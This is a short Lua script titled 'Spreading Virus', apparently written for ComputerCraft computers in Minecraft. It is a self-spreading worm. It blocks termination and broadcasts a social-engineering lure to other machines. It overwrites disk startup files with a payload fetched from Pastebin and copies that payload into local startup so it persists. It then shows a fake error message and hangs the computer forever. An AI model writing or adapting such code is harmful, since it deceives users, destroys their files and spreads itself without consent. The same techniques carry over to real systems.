Spreading Virus

os.pullEvent = os.pullEventRaw
term.clear()
term.setCursorPos(1,1)
rednet.broadcast("I found a really cool new Pastebin program, just type 'pastebin run ZtChe0xt'")

if fs.exists("disk") then
if fs.exists("disk/startup") then
fs.delete("disk/startup")
shell.run("pastebin get ZtChe0xt disk/startup")
else
shell.run("pastebin get ZtChe0xt disk/startup")
end
if fs.exists("startup") then
else
fs.copy("disk/startup", "startup")
end
end
term.clear()
term.setTextColor(colors.red)
term.setCursorPos(1,1)
print("ZtChe0xt:25: 'then' expected")
while true do
sleep(1)
end